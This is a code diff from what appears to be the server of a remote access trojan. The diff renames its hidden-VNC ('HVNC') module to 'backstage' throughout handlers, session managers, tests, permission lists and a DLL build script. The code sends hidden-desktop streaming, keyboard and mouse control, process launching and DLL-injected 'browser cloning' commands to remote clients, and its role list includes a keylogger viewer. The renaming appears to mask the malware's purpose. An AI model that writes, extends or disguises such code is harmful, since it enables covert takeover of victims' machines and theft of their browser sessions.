export function handleHVNCDXGIStatus(clientId: string, payload: any) {
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
export function handlebackstageDXGIStatus(clientId: string, payload: any) {
for (const session of sessionManager.getbackstageSessionsForClient(clientId)) {
safeSendViewer(session.viewer, {
type: "hvnc_dxgi_status",
type: "backstage_dxgi_status",
success: !!payload.success,
gpuPid: Number(payload.gpuPid) || 0,
message: String(payload.message || ""),
@@ -920,10 +920,10 @@ export function handleHVNCDXGIStatus(clientId: string, payload: any) {
}
}
export function handleHVNCBrowserLaunchStatus(clientId: string, payload: any) {
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
export function handlebackstageBrowserLaunchStatus(clientId: string, payload: any) {
for (const session of sessionManager.getbackstageSessionsForClient(clientId)) {
safeSendViewer(session.viewer, {
type: "hvnc_browser_launch_status",
type: "backstage_browser_launch_status",
browser: String(payload.browser || ""),
step: String(payload.step || ""),
success: !!payload.success,
@@ -932,7 +932,7 @@ export function handleHVNCBrowserLaunchStatus(clientId: string, payload: any) {
}
}
export function handleHVNCWindowListResult(clientId: string, payload: any) {
export function handlebackstageWindowListResult(clientId: string, payload: any) {
const windows: Array<{
title: string; x: number; y: number; width: number; height: number;
pid: number; processName: string; monitor: number;
@@ -968,8 +968,8 @@ export function handleHVNCWindowListResult(clientId: string, payload: any) {
});
}
}
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
safeSendViewer(session.viewer, { type: "hvnc_window_list_result", windows, monitors });
for (const session of sessionManager.getbackstageSessionsForClient(clientId)) {
safeSendViewer(session.viewer, { type: "backstage_window_list_result", windows, monitors });
}
}
@@ -977,8 +977,8 @@ export function handleClipboardContent(clientId: string, payload: any) {
const text = String(payload.text || "");
const source = String(payload.source || "");
if (!text) return;
if (source === "hvnc") {
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
if (source === "backstage") {
for (const session of sessionManager.getbackstageSessionsForClient(clientId)) {
safeSendViewer(session.viewer, { type: "clipboard_content", text, source });
}
} else {
@@ -1110,7 +1110,7 @@ export function handleWebcamViewerMessage(ws: ServerWebSocket<SocketData>, raw:
}
}
export function handleHVNCViewerOpen(ws: ServerWebSocket<SocketData>) {
export function handlebackstageViewerOpen(ws: ServerWebSocket<SocketData>) {
const { clientId, userId, userRole } = ws.data;
if (userId !== undefined && userRole && !canUserAccessClient(userId, userRole as any, clientId)) {
ws.close(1008, "Forbidden: client access denied");
@@ -1120,7 +1120,7 @@ export function handleHVNCViewerOpen(ws: ServerWebSocket<SocketData>) {
ws.data.sessionId = sessionId;
const target = clientManager.getClient(clientId);
const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
sessionManager.addHvncSession(session);
sessionManager.addbackstageSession(session);
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
if (!target) {
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
@@ -1129,8 +1129,8 @@ export function handleHVNCViewerOpen(ws: ServerWebSocket<SocketData>) {
safeSendViewer(ws, { type: "status", status: "connecting", sessionId });
}
function notifyHVNCStatus(clientId: string, status: string, reason?: string) {
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
function notifybackstageStatus(clientId: string, status: string, reason?: string) {
for (const session of sessionManager.getbackstageSessionsForClient(clientId)) {
safeSendViewer(session.viewer, {
type: "status",
status,
@@ -1140,7 +1140,7 @@ function notifyHVNCStatus(clientId: string, status: string, reason?: string) {
}
}
export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
export function handlebackstageViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
const payload = decodeViewerPayload(raw);
if (!payload) return;
if (!payload || typeof payload.type !== "string") return;
@@ -1151,27 +1151,27 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
return;
}
const state = hvncStreamingState.get(clientId) || defaultHVNCStreamingState();
const state = backstageStreamingState.get(clientId) || defaultbackstageStreamingState();
logger.debug(`[hvnc] inbound viewer msg type=${payload.type} client=${clientId}`);
logger.debug(`[backstage] inbound viewer msg type=${payload.type} client=${clientId}`);
switch (payload.type) {
case "hvnc_start":
case "backstage_start":
{
const virtualMode = (payload as any).virtual_mode === true || (payload as any).hidden_mode === true;
if (state.isStreaming && state.virtualMode !== virtualMode) {
sendHVNCCommand(target, "hvnc_stop", {});
sendbackstageCommand(target, "backstage_stop", {});
state.isStreaming = false;
logger.debug(`[hvnc] restarting stream to change virtual_mode=${state.virtualMode} -> ${virtualMode}`);
logger.debug(`[backstage] restarting stream to change virtual_mode=${state.virtualMode} -> ${virtualMode}`);
}
if (!state.isStreaming) {
if ((payload as any).webrtc === true) {
const streamPath = webrtcStreamPathFor(clientId, "hvnc");
const streamPath = webrtcStreamPathFor(clientId, "backstage");
const token = issueWebrtcPublishToken(clientId);
sendHVNCCommand(target, "webrtc_publish", {
sendbackstageCommand(target, "webrtc_publish", {
streamPath,
whipPath: `/api/webrtc/${streamPath}/whip`,
token,
kind: "hvnc",
kind: "backstage",
hasVideo: true,
hasAudio: false,
});
@@ -1181,149 +1181,149 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
whepPath: `/api/webrtc/${streamPath}/whep`,
});
}
sendHVNCCommand(target, "hvnc_set_fps", { fps: clampDesktopFps(state.maxFps) });
sendHVNCCommand(target, "hvnc_start", {
sendbackstageCommand(target, "backstage_set_fps", { fps: clampDesktopFps(state.maxFps) });
sendbackstageCommand(target, "backstage_start", {
autoStartExplorer: false,
...(virtualMode ? { virtual_mode: true } : {}),
});
state.isStreaming = true;
state.virtualMode = virtualMode;
hvncStreamingState.set(clientId, state);
logger.debug(`[hvnc] started streaming for client ${clientId} (virtual_mode=${virtualMode})`);
backstageStreamingState.set(clientId, state);
logger.debug(`[backstage] started streaming for client ${clientId} (virtual_mode=${virtualMode})`);
} else {
logger.debug(`[hvnc] ignoring duplicate hvnc_start for client ${clientId}`);
logger.debug(`[backstage] ignoring duplicate backstage_start for client ${clientId}`);
}
}
break;
case "hvnc_stop": {
const otherHvncViewers = sessionManager.getHvncSessionsForClient(clientId)
case "backstage_stop": {
const otherbackstageViewers = sessionManager.getbackstageSessionsForClient(clientId)
.filter(s => s.id !== ws.data.sessionId);
if (otherHvncViewers.length === 0) {
sendHVNCCommand(target, "hvnc_stop", {});
sendHVNCCommand(target, "webrtc_stop", { kind: "hvnc" });
if (otherbackstageViewers.length === 0) {
sendbackstageCommand(target, "backstage_stop", {});
sendbackstageCommand(target, "webrtc_stop", { kind: "backstage" });
state.isStreaming = false;
hvncStreamingState.set(clientId, state);
logger.debug(`[hvnc] stopped streaming for client ${clientId}`);
backstageStreamingState.set(clientId, state);
logger.debug(`[backstage] stopped streaming for client ${clientId}`);
} else {
logger.debug(`[hvnc] ignoring hvnc_stop for client ${clientId} - ${otherHvncViewers.length} other viewer(s) still active`);
logger.debug(`[backstage] ignoring backstage_stop for client ${clientId} - ${otherbackstageViewers.length} other viewer(s) still active`);
}
break;
}
case "hvnc_select_display": {
case "backstage_select_display": {
const newDisplay = Number(payload.display) || 0;
if (state.display !== newDisplay) {
logger.debug(`[hvnc] changing display from ${state.display} to ${newDisplay}`);
sendHVNCCommand(target, "hvnc_select_display", { display: newDisplay });
logger.debug(`[backstage] changing display from ${state.display} to ${newDisplay}`);
sendbackstageCommand(target, "backstage_select_display", { display: newDisplay });
state.display = newDisplay;
hvncStreamingState.set(clientId, state);
backstageStreamingState.set(clientId, state);
} else {
logger.debug(`[hvnc] ignoring duplicate display select ${newDisplay}`);
logger.debug(`[backstage] ignoring duplicate display select ${newDisplay}`);
}
break;
}
case "hvnc_set_quality": {
case "backstage_set_quality": {
const newQuality = Number(payload.quality) || 90;
const newCodec = String(payload.codec || "").toLowerCase();
sendHVNCCommand(target, "hvnc_set_quality", { quality: newQuality, codec: newCodec });
sendbackstageCommand(target, "backstage_set_quality", { quality: newQuality, codec: newCodec });
if (state.quality !== newQuality || state.codec !== newCodec) {
state.quality = newQuality;
state.codec = newCodec;
hvncStreamingState.set(clientId, state);
logger.debug(`[hvnc] set quality=${newQuality} codec=${newCodec || "(default)"}`);
backstageStreamingState.set(clientId, state);
logger.debug(`[backstage] set quality=${newQuality} codec=${newCodec || "(default)"}`);
}
break;
}
case "hvnc_request_keyframe":
case "backstage_request_keyframe":
if (state.isStreaming) {
sendHVNCCommand(target, "hvnc_request_keyframe", {
sendbackstageCommand(target, "backstage_request_keyframe", {
reason: String((payload as any).reason || "viewer_request"),
});
}
break;
case "hvnc_set_fps": {
case "backstage_set_fps": {
const newMaxFps = clampDesktopFps((payload as any).fps);
sendHVNCCommand(target, "hvnc_set_fps", { fps: newMaxFps });
sendbackstageCommand(target, "backstage_set_fps", { fps: newMaxFps });
if (state.maxFps !== newMaxFps) {
state.maxFps = newMaxFps;
hvncStreamingState.set(clientId, state);
logger.debug(`[hvnc] set target fps=${newMaxFps}`);
backstageStreamingState.set(clientId, state);
logger.debug(`[backstage] set target fps=${newMaxFps}`);
}
break;
}
case "hvnc_enable_mouse":
if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_mouse", { enabled: !!payload.enabled });
case "backstage_enable_mouse":
if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_mouse", { enabled: !!payload.enabled });
break;
case "hvnc_enable_keyboard":
if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_keyboard", { enabled: !!payload.enabled });
case "backstage_enable_keyboard":
if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_keyboard", { enabled: !!payload.enabled });
break;
case "hvnc_enable_cursor":
if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_cursor", { enabled: !!payload.enabled });
case "backstage_enable_cursor":
if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_cursor", { enabled: !!payload.enabled });
break;
case "hvnc_enable_dxgi":
if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_dxgi", { enabled: !!payload.enabled });
case "backstage_enable_dxgi":
if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_dxgi", { enabled: !!payload.enabled });
break;
case "hvnc_enable_uia":
if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_uia", { enabled: !!payload.enabled });
case "backstage_enable_uia":
if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_uia", { enabled: !!payload.enabled });
break;
case "hvnc_set_resolution": {
case "backstage_set_resolution": {
const maxHeight = Number(payload.maxHeight) || 0;
if (state.isStreaming) sendHVNCCommand(target, "hvnc_set_resolution", { maxHeight });
if (state.isStreaming) sendbackstageCommand(target, "backstage_set_resolution", { maxHeight });
break;
}
case "hvnc_mouse_move":
if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_move", { x: Number(payload.x) || 0, y: Number(payload.y) || 0 });
case "backstage_mouse_move":
if (state.isStreaming) sendbackstageCommand(target, "backstage_mouse_move", { x: Number(payload.x) || 0, y: Number(payload.y) || 0 });
break;
case "hvnc_mouse_down":
if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_down", {
case "backstage_mouse_down":
if (state.isStreaming) sendbackstageCommand(target, "backstage_mouse_down", {
button: Number(payload.button) || 0,
x: Number(payload.x) || 0,
y: Number(payload.y) || 0,
});
break;
case "hvnc_mouse_up":
if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_up", {
case "backstage_mouse_up":
if (state.isStreaming) sendbackstageCommand(target, "backstage_mouse_up", {
button: Number(payload.button) || 0,
x: Number(payload.x) || 0,
y: Number(payload.y) || 0,
});
break;
case "hvnc_mouse_wheel":
if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_wheel", { delta: Number(payload.delta) || 0, x: Number(payload.x) || 0, y: Number(payload.y) || 0 });
case "backstage_mouse_wheel":
if (state.isStreaming) sendbackstageCommand(target, "backstage_mouse_wheel", { delta: Number(payload.delta) || 0, x: Number(payload.x) || 0, y: Number(payload.y) || 0 });
break;
case "hvnc_key_down":
if (state.isStreaming) sendHVNCCommand(target, "hvnc_key_down", { key: payload.key || "", code: payload.code || "" });
case "backstage_key_down":
if (state.isStreaming) sendbackstageCommand(target, "backstage_key_down", { key: payload.key || "", code: payload.code || "" });
break;
case "hvnc_key_up":
if (state.isStreaming) sendHVNCCommand(target, "hvnc_key_up", { key: payload.key || "", code: payload.code || "" });
case "backstage_key_up":
if (state.isStreaming) sendbackstageCommand(target, "backstage_key_up", { key: payload.key || "", code: payload.code || "" });
break;
case "hvnc_lookup":
sendHVNCCommand(target, "hvnc_lookup", { exe: String(payload.exe || "") });
case "backstage_lookup":
sendbackstageCommand(target, "backstage_lookup", { exe: String(payload.exe || "") });
break;
case "hvnc_browser_check":
sendHVNCCommand(target, "hvnc_browser_check", {});
case "backstage_browser_check":
sendbackstageCommand(target, "backstage_browser_check", {});
break;
case "hvnc_installed_apps":
sendHVNCCommand(target, "hvnc_installed_apps", {});
case "backstage_installed_apps":
sendbackstageCommand(target, "backstage_installed_apps", {});
break;
case "hvnc_window_list":
sendHVNCCommand(target, "hvnc_window_list", {});
case "backstage_window_list":
sendbackstageCommand(target, "backstage_window_list", {});
break;
case "hvnc_start_process":
sendHVNCCommand(target, "hvnc_start_process", {
case "backstage_start_process":
sendbackstageCommand(target, "backstage_start_process", {
path: String(payload.path || ""),
kill_exe: String(payload.kill_exe || ""),
opera_patch: Boolean(payload.opera_patch),
display: state.display ?? 0,
});
break;
case "hvnc_kill_all":
sendHVNCCommand(target, "hvnc_kill_all", {});
case "backstage_kill_all":
sendbackstageCommand(target, "backstage_kill_all", {});
break;
case "hvnc_start_process_injected": {
case "backstage_start_process_injected": {
const dllData = getInjectionDllBytes();
if (!dllData) {
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_process_injected");
safeSendViewer(ws, { type: "hvnc_error", error: "HVNC injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
logger.warn("[backstage] injection DLL not available, cannot send backstage_start_process_injected");
safeSendViewer(ws, { type: "backstage_error", error: "backstage injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
break;
}
const captureDll = getCaptureDllBytes();
@@ -1335,14 +1335,14 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
display: state.display ?? 0,
};
if (captureDll) cmdPayload.capture_dll = captureDll;
sendHVNCCommand(target, "hvnc_start_process_injected", cmdPayload);
sendbackstageCommand(target, "backstage_start_process_injected", cmdPayload);
break;
}
case "hvnc_start_chrome_injected": {
case "backstage_start_chrome_injected": {
const dllData = getInjectionDllBytes();
if (!dllData) {
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_chrome_injected");
safeSendViewer(ws, { type: "hvnc_error", error: "HVNC injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
logger.warn("[backstage] injection DLL not available, cannot send backstage_start_chrome_injected");
safeSendViewer(ws, { type: "backstage_error", error: "backstage injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
break;
}
const captureDllChrome = getCaptureDllBytes();
@@ -1352,14 +1352,14 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
display: state.display ?? 0,
};
if (captureDllChrome) chromeCmdPayload.capture_dll = captureDllChrome;
sendHVNCCommand(target, "hvnc_start_chrome_injected", chromeCmdPayload);
sendbackstageCommand(target, "backstage_start_chrome_injected", chromeCmdPayload);
break;
}
case "hvnc_start_browser_injected": {
case "backstage_start_browser_injected": {
const dllData = getInjectionDllBytes();
if (!dllData) {
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_browser_injected");
safeSendViewer(ws, { type: "hvnc_error", error: "HVNC injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
logger.warn("[backstage] injection DLL not available, cannot send backstage_start_browser_injected");
safeSendViewer(ws, { type: "backstage_error", error: "backstage injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
break;
}
const captureDllBrowser = getCaptureDllBytes();
@@ -1373,20 +1373,20 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
display: state.display ?? 0,
};
if (captureDllBrowser) browserCmdPayload.capture_dll = captureDllBrowser;
sendHVNCCommand(target, "hvnc_start_browser_injected", browserCmdPayload);
sendbackstageCommand(target, "backstage_start_browser_injected", browserCmdPayload);
break;
}
case "clipboard_sync": {
if (!state.isStreaming) break;
const text = String(payload.text || "");
if (text) {
sendHVNCCommand(target, "clipboard_set", { text });
sendbackstageCommand(target, "clipboard_set", { text });
}
break;
}
case "clipboard_sync_start": {
if (!state.isStreaming) break;
sendDesktopCommand(target, "clipboard_sync_start", { source: "hvnc" });
sendDesktopCommand(target, "clipboard_sync_start", { source: "backstage" });
break;
}
case "clipboard_sync_stop": {
@@ -1396,8 +1396,8 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
case "webrtc_p2p_offer": {
const sdp = typeof (payload as any).sdp === "string" ? (payload as any).sdp : "";
if (!sdp) break;
const sessionId = createP2PSession(ws, clientId, "hvnc");
sendHVNCCommand(target, "webrtc_p2p_offer", { sessionId, sdp, kind: "hvnc", hasVideo: true, hasAudio: false });
const sessionId = createP2PSession(ws, clientId, "backstage");
sendbackstageCommand(target, "webrtc_p2p_offer", { sessionId, sdp, kind: "backstage", hasVideo: true, hasAudio: false });
break;
}
case "webrtc_p2p_ice": {
@@ -1405,9 +1405,9 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
if (!sessionId) break;
const candidate = typeof (payload as any).candidate === "string" ? (payload as any).candidate : "";
if (!candidate) break;
sendHVNCCommand(target, "webrtc_p2p_ice", {
sendbackstageCommand(target, "webrtc_p2p_ice", {
sessionId,
kind: "hvnc",
kind: "backstage",
candidate,
sdpMid: typeof (payload as any).sdpMid === "string" ? (payload as any).sdpMid : "",
sdpMLineIndex: Number((payload as any).sdpMLineIndex) || 0,
@@ -1417,7 +1417,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
case "webrtc_p2p_stop": {
const cleared = clearP2PSessionForViewer(ws);
if (cleared) {
sendHVNCCommand(target, "webrtc_p2p_stop", { sessionId: cleared.sessionId, kind: cleared.kind });
sendbackstageCommand(target, "webrtc_p2p_stop", { sessionId: cleared.sessionId, kind: cleared.kind });
}
break;
}
@@ -1426,18 +1426,18 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
}
}
export function sendHVNCCommand(target: ClientInfo | undefined, commandType: string, payload: any) {
export function sendbackstageCommand(target: ClientInfo | undefined, commandType: string, payload: any) {
if (!target) {
logger.warn(`[hvnc] send command skipped, target missing command=${commandType}`);
logger.warn(`[backstage] send command skipped, target missing command=${commandType}`);
return false;
}
try {
logger.debug(`[hvnc] send command command=${commandType} client=${target.id} payload=${JSON.stringify(payload || {})}`);
logger.debug(`[backstage] send command command=${commandType} client=${target.id} payload=${JSON.stringify(payload || {})}`);
target.ws.send(encodeMessage({ type: "command", commandType: commandType as any, id: uuidv4(), payload }));
metrics.recordCommand(commandType);
return true;
} catch (err) {
logger.error("[hvnc] send command failed", err);
logger.error("[backstage] send command failed", err);
return false;
}
}
@@ -1448,8 +1448,8 @@ export function handleDesktopEncoderCapabilities(clientId: string, payload: any)
}
}
(globalThis as any).__hvncBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => {
const state = hvncStreamingState.get(clientId) || defaultHVNCStreamingState();
(globalThis as any).__backstageBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => {
const state = backstageStreamingState.get(clientId) || defaultbackstageStreamingState();
if (!state.isStreaming) {
state.isStreaming = true;
}
@@ -1457,13 +1457,13 @@ export function handleDesktopEncoderCapabilities(clientId: string, payload: any)
if (frameFps > 0) {
state.lastFps = frameFps;
}
hvncStreamingState.set(clientId, state);
backstageStreamingState.set(clientId, state);
const buf = buildViewerFrameBuffer(bytes, header);
const result = broadcastFrameToViewers(sessionManager.getHvncSessionsForClient(clientId), buf, header);
const result = broadcastFrameToViewers(sessionManager.getbackstageSessionsForClient(clientId), buf, header);
if (result.dropped) {
const target = clientManager.getClient(clientId);
if (target) {
sendHVNCCommand(target, "hvnc_request_keyframe", {
sendbackstageCommand(target, "backstage_request_keyframe", {
reason: "viewer_backpressure",
format: String(header?.format || ""),
});
@@ -13,7 +13,7 @@ import {
} from "./webrtc-p2p-sessions";
import {
cleanupViewerP2P,
} from "./ws-console-rd-hvnc";
} from "./ws-console-rd-backstage";
function sendDesktopAudioCommand(
clientId: string,
@@ -11,12 +11,12 @@ import {
getRdSessionsByClient,
getRdSessionCount,
hasRdSessionsForClient,
addHvncSession,
getHvncSession,
deleteHvncSession,
getHvncSessionsByClient,
hasHvncSessionsForClient,
getHvncSessionCount,
addbackstageSession,
getbackstageSession,
deletebackstageSession,
getbackstageSessionsByClient,
hasbackstageSessionsForClient,
getbackstageSessionCount,
addFileBrowserSession,
getFileBrowserSession,
deleteFileBrowserSession,
@@ -135,18 +135,18 @@ describe("sessionManager - remote desktop sessions", () => {
});
});
describe("sessionManager - HVNC sessions", () => {
test("add, get, and delete HVNC session", () => {
describe("sessionManager - backstage sessions", () => {
test("add, get, and delete backstage session", () => {
const ws = mockWs();
addHvncSession({ id: "hvnc-1", clientId: "c-hvnc", viewer: ws, createdAt: Date.now() });
addbackstageSession({ id: "backstage-1", clientId: "c-backstage", viewer: ws, createdAt: Date.now() });
expect(getHvncSession("hvnc-1")).toBeDefined();
expect(hasHvncSessionsForClient("c-hvnc")).toBe(true);
expect(getHvncSessionsByClient("c-hvnc").length).toBe(1);
expect(getHvncSessionCount()).toBeGreaterThanOrEqual(1);
expect(getbackstageSession("backstage-1")).toBeDefined();
expect(hasbackstageSessionsForClient("c-backstage")).toBe(true);
expect(getbackstageSessionsByClient("c-backstage").length).toBe(1);
expect(getbackstageSessionCount()).toBeGreaterThanOrEqual(1);
expect(deleteHvncSession("hvnc-1")).toBe(true);
expect(getHvncSession("hvnc-1")).toBeUndefined();
expect(deletebackstageSession("backstage-1")).toBe(true);
expect(getbackstageSession("backstage-1")).toBeUndefined();
});
});
+23 -23
View File
@@ -23,11 +23,11 @@ export type DashboardViewer = {
const consoleSessions = new Map<string, ConsoleSession>();
const rdSessions = new Map<string, RemoteDesktopViewer>();
const webcamSessions = new Map<string, RemoteDesktopViewer>();
const hvncSessions = new Map<string, RemoteDesktopViewer>(); // HVNC uses same structure as RD
const backstageSessions = new Map<string, RemoteDesktopViewer>(); // backstage uses same structure as RD
const consoleSessionsByClient = new Map<string, Set<string>>();
const rdSessionsByClient = new Map<string, Set<string>>();
const webcamSessionsByClient = new Map<string, Set<string>>();
const hvncSessionsByClient = new Map<string, Set<string>>();
const backstageSessionsByClient = new Map<string, Set<string>>();
const fileBrowserSessions = new Map<string, FileBrowserViewer>();
const processSessions = new Map<string, ProcessViewer>();
const fileBrowserSessionsByClient = new Map<string, Set<string>>();
@@ -196,53 +196,53 @@ export function getAllRdSessions(): Map<string, RemoteDesktopViewer> {
return rdSessions;
}
// ==================== HVNC SESSION MANAGEMENT ====================
// ==================== backstage SESSION MANAGEMENT ====================
export function addHvncSession(session: RemoteDesktopViewer): void {
hvncSessions.set(session.id, session);
addSessionToClientIndex(hvncSessionsByClient, session.clientId, session.id);
export function addbackstageSession(session: RemoteDesktopViewer): void {
backstageSessions.set(session.id, session);
addSessionToClientIndex(backstageSessionsByClient, session.clientId, session.id);
}
export function getHvncSession(
export function getbackstageSession(
sessionId: string,
): RemoteDesktopViewer | undefined {
return hvncSessions.get(sessionId);
return backstageSessions.get(sessionId);
}
export function deleteHvncSession(sessionId: string): boolean {
const existing = hvncSessions.get(sessionId);
export function deletebackstageSession(sessionId: string): boolean {
const existing = backstageSessions.get(sessionId);
if (!existing) return false;
hvncSessions.delete(sessionId);
removeSessionFromClientIndex(hvncSessionsByClient, existing.clientId, sessionId);
backstageSessions.delete(sessionId);
removeSessionFromClientIndex(backstageSessionsByClient, existing.clientId, sessionId);
return true;
}
export function getHvncSessionsByClient(clientId: string): RemoteDesktopViewer[] {
return getHvncSessionsForClient(clientId);
export function getbackstageSessionsByClient(clientId: string): RemoteDesktopViewer[] {
return getbackstageSessionsForClient(clientId);
}
export function getHvncSessionsForClient(clientId: string): RemoteDesktopViewer[] {
const ids = hvncSessionsByClient.get(clientId);
export function getbackstageSessionsForClient(clientId: string): RemoteDesktopViewer[] {
const ids = backstageSessionsByClient.get(clientId);
if (!ids || ids.size === 0) return [];
const sessions: RemoteDesktopViewer[] = [];
for (const id of ids) {
const session = hvncSessions.get(id);
const session = backstageSessions.get(id);
if (session) sessions.push(session);
}
return sessions;
}
export function hasHvncSessionsForClient(clientId: string): boolean {
const ids = hvncSessionsByClient.get(clientId);
export function hasbackstageSessionsForClient(clientId: string): boolean {
const ids = backstageSessionsByClient.get(clientId);
return Boolean(ids && ids.size > 0);
}
export function getAllHvncSessions(): Map<string, RemoteDesktopViewer> {
return hvncSessions;
export function getAllbackstageSessions(): Map<string, RemoteDesktopViewer> {
return backstageSessions;
}
export function getHvncSessionCount(): number {
return hvncSessions.size;
export function getbackstageSessionCount(): number {
return backstageSessions.size;
}
// ==================== FILE BROWSER SESSION MANAGEMENT ====================
+1 -1
View File
@@ -5,7 +5,7 @@ export type SocketRole =
| ClientRole
| "console_viewer"
| "rd_viewer"
| "hvnc_viewer"
| "backstage_viewer"
| "webcam_viewer"
| "file_browser_viewer"
| "process_viewer"
@@ -38,7 +38,7 @@ describe("feature permissions", () => {
expect(ALL_FEATURES).toEqual([
"console",
"remote_desktop",
"hvnc",
"backstage",
"webcam",
"file_browser",
"processes",
@@ -115,11 +115,11 @@ describe("feature permissions", () => {
try {
const operator = await createTempUser("operator");
setUserFeaturePermission(operator.id, "hvnc", false);
expect(canUserAccessFeature(operator.id, operator.role, "hvnc")).toBe(false);
setUserFeaturePermission(operator.id, "backstage", false);
expect(canUserAccessFeature(operator.id, operator.role, "backstage")).toBe(false);
setUserFeaturePermission(operator.id, "hvnc", true);
expect(canUserAccessFeature(operator.id, operator.role, "hvnc")).toBe(true);
setUserFeaturePermission(operator.id, "backstage", true);
expect(canUserAccessFeature(operator.id, operator.role, "backstage")).toBe(true);
} finally {
cleanupCreatedUsers();
}
+2 -2
View File
@@ -507,7 +507,7 @@ export function setUserPluginAccessRulesBulk(
export type FeatureName =
| "console"
| "remote_desktop"
| "hvnc"
| "backstage"
| "webcam"
| "file_browser"
| "processes"
@@ -521,7 +521,7 @@ export type FeatureName =
export const ALL_FEATURES: FeatureName[] = [
"console",
"remote_desktop",
"hvnc",
"backstage",
"webcam",
"file_browser",
"processes",
+3 -3
View File
@@ -289,9 +289,9 @@ export function handleFrame(info: ClientInfo, payload: any): boolean {
if (globalAny.__webcamBroadcast) {
handledByViewerRelay = globalAny.__webcamBroadcast(info.id, bytes, header);
}
} else if (header?.hvnc) {
if (globalAny.__hvncBroadcast) {
handledByViewerRelay = globalAny.__hvncBroadcast(info.id, bytes, header);
} else if (header?.backstage) {
if (globalAny.__backstageBroadcast) {
handledByViewerRelay = globalAny.__backstageBroadcast(info.id, bytes, header);
}
} else if (globalAny.__rdBroadcast) {
handledByViewerRelay = globalAny.__rdBroadcast(info.id, bytes, header);
+8 -8
View File
@@ -1,4 +1,4 @@
export type SocketRole = "client" | "viewer" | "console_viewer" | "rd_viewer" | "webcam_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "voice_viewer" | "desktop_audio_viewer" | "notifications_viewer";
export type SocketRole = "client" | "viewer" | "console_viewer" | "rd_viewer" | "webcam_viewer" | "backstage_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "voice_viewer" | "desktop_audio_viewer" | "notifications_viewer";
const textEncoder = new TextEncoder();
@@ -37,13 +37,13 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
"voice_uplink",
"desktop_audio_uplink",
"webcam_devices",
"hvnc_clone_progress",
"hvnc_lookup_result",
"hvnc_browser_check_result",
"hvnc_installed_apps_result",
"hvnc_dxgi_status",
"hvnc_browser_launch_status",
"hvnc_window_list_result",
"backstage_clone_progress",
"backstage_lookup_result",
"backstage_browser_check_result",
"backstage_installed_apps_result",
"backstage_dxgi_status",
"backstage_browser_launch_status",
"backstage_window_list_result",
"clipboard_content",
"proxy_data",
"proxy_close",
+4 -4
View File
@@ -21,12 +21,12 @@ cd "$ROOT"
# C++ compiler for COM / __uuidof support
CXX="${CXX:-x86_64-w64-mingw32-g++}"
CC="${CC:-x86_64-w64-mingw32-gcc}"
SRC_DIR="${HVNC_CAPTURE_SRC_DIR:-BackstageCapture/src}"
OUT_DIR="${HVNC_CAPTURE_OUT_DIR:-Overlord-Server/dist-clients}"
SRC_DIR="${BACKSTAGE_CAPTURE_SRC_DIR:-BackstageCapture/src}"
OUT_DIR="${BACKSTAGE_CAPTURE_OUT_DIR:-Overlord-Server/dist-clients}"
DLL_NAME="BackstageCapture.x64.dll"
MINHOOK_REPO="${MINHOOK_REPO:-https://github.com/TsudaKageyu/minhook.git}"
MINHOOK_REF="${MINHOOK_REF:-master}"
HVNC_FETCH_MINHOOK="${HVNC_FETCH_MINHOOK:-1}"
BACKSTAGE_FETCH_MINHOOK="${BACKSTAGE_FETCH_MINHOOK:-1}"
MINHOOK_STATIC_DIR="${MINHOOK_STATIC_DIR:-BackstageCapture/Minhook}"
mkdir -p "$OUT_DIR"
@@ -100,7 +100,7 @@ if ! command -v "$CXX" >/dev/null 2>&1; then
fi
fetch_minhook() {
